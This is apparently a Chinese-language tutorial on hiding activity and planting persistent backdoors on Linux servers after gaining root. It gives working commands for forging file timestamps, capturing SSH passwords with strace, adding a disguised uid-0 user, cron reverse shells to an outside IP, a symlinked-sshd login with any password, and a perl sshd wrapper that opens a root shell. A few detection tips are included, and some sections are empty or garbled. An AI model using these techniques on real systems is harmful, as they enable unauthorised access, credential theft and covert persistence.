- 隐藏篇
- 一、隐藏文件、时间戳
- 二、隐藏权限
- 三、隐藏历史操作命令
- 四、端口复用
- 五、进程隐藏
- 后门篇
- 一、抓取敏感信息
- 1、本地测试抓取密码
- 二、添加新用户
- 三、crontab计划任务反弹shell
- 四、SUID
- 五、SSH相关
- 1、ssh公私钥免密登陆
- 2、软连接
- 3、PAM后门
- 4、ssh wrapper
- 5、openssh后门
- 6、perl脚本SSH后门
- 六、vim后门
- 七、strace 后门
- 八、.bashrc 启动脚本后门 登陆的时候反弹shell
- 九、语言脚本类后门
- php
- Apache mod_rootme
- 十、rootkit、bootkit
- 十一、LD_PRELOAD
- 参考资料
ls -al
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
二、隐藏权限chattr +i evil.php 锁定文件 lsattr evil.php 属性查看 chattr -i evil.php 解除锁定 rm -rf 1.evil.php 删除文件三、隐藏历史操作命令 四、端口复用
第一种方式:通过SSLH在同一端口上共享SSH与HTTPS
第二种方式:利用IPTables进行端口复用
#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80
1.系统函数劫持,so劫持
libprocesshider工具 利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
/etc/ld.so.preload
unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作
2.第二种方法:进程注入工具linux-inject
linux-inject是用于将共享对象注入Linux进程的工具
github项目地址:
可以从proc 虚拟文件系统里面 查看maps,内存里加载里哪些动态库
后门篇 一、抓取敏感信息 1、本地测试抓取密码第一种方式:strace命令
在获取到目标ROOT权限后,可以直接在终端执行如下命令,该命令会监听sshd进程,并将登录过程及信息记录到/tmp/sshd.log文件中。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)
tmp目录其实不是很安全
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
筛选密码 grep -E ‘read(6, “.+ .+”’ /tmp/sshd.log
第二种
首先编辑bashrc文件, vi ~/.bashrc[当前用户] 或者vi /etc/bashrc[所有用户]然后将如下命令加入文件当中并保存,注意strace权限问题。
alias ssh=‘strace -o /tmp/sshpwd-date '+%d%h%m%s'.log -e read,write,connect -s 2048 ssh’
二、添加新用户排查特权用户(uid=0)、可远程登录用户和 sudo用户
名字和已有的相似一点!
useradd systemd-coredumpp;
一句话 添加
useradd -p `openssl passwd -1 -salt 'systemd-coredumpp' 123456` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/systemd-coredumpp systemd-coredumpp三、crontab计划任务反弹shell
crontab -e
echo “*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/8888 0>&1” >/var/spool/cron/123
(crontab -l;printf "*/5 * * * * exec9<>
/dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for
whoami%100cn")|crontab –
四、SUIDSuid shell是一种可用于以拥有者权限运行的shell。
五、SSH相关 1、ssh公私钥免密登陆在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。
ssh-keygen生成密钥,
在服务器上留下公钥,改名为 authorized_keys
私钥修改权限 chmod 600 id_rsa.
注意修改权限
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
ssh -i id_rsa root@ip
2、软连接在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
在目标服务器上执行一句话后门:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。
排查: 进程、端口都可以发现异常, kill -s 9 PID 结束进程即可
3、PAM后门https://blog.csdn.net/weixin_40412037/article/details/118728788
pam_unix.so 这个文件进行重新编译
做身份认证的
Resource used : http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html
Here is a GitHub repository containing a script automating this process of creating a backdoor: https://github.com/zephrax/linux-pam-backdoor
4、ssh wrapper给sshd中加入一段代码,判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。
socat STDIO TCP4:10.18.180.20:22,sourceport=13377
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
5、openssh后门https://www.jianshu.com/p/c1cd73b072f1
加入后门文件后,重新编译,替换原有的openssh
备份原有文件, 后期进行时间修改,防止被查到
修复方案与应急响应
1)重装openssh软件2)SSH禁止对外开放
应急响应:
1)比对ssh的版本ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的时间stat /usr/sbin/sshd
3)strings检查/usr/sbin/sshd,看是否有邮箱信息strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。
6、perl脚本SSH后门这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
含义:
第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为x00x00zf, 正好匹配上perl正则 …zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket (一般只有攻击者指定连接的源端口才能触发这一行的执行)
第二行 启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象
六、vim后门https://wxiaoge.blog.csdn.net/article/details/119379149
七、strace 后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
利用方法
客户端:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特点:
优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。
八、.bashrc 启动脚本后门 登陆的时候反弹shell
九、语言脚本类后门
先找web目录,然后看看脚本类型
一般/var/www/html
php最好加到已有的文件中,并且加到文件中间
Apache mod_rootme 十、rootkit、bootkit 十一、LD_PRELOAD 参考资料https://blog.csdn.net/qq_33020901/article/details/81773737
https://blog.csdn.net/weixin_42282189/article/details/121004208
https://blog.csdn.net/nzjdsds/article/details/82954456
https://blog.csdn.net/qq_33020901/article/details/81773737
https://www.freebuf.com/articles/system/259494.html
https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c
https://blog.csdn.net/weixin_40412037/article/details/117447832



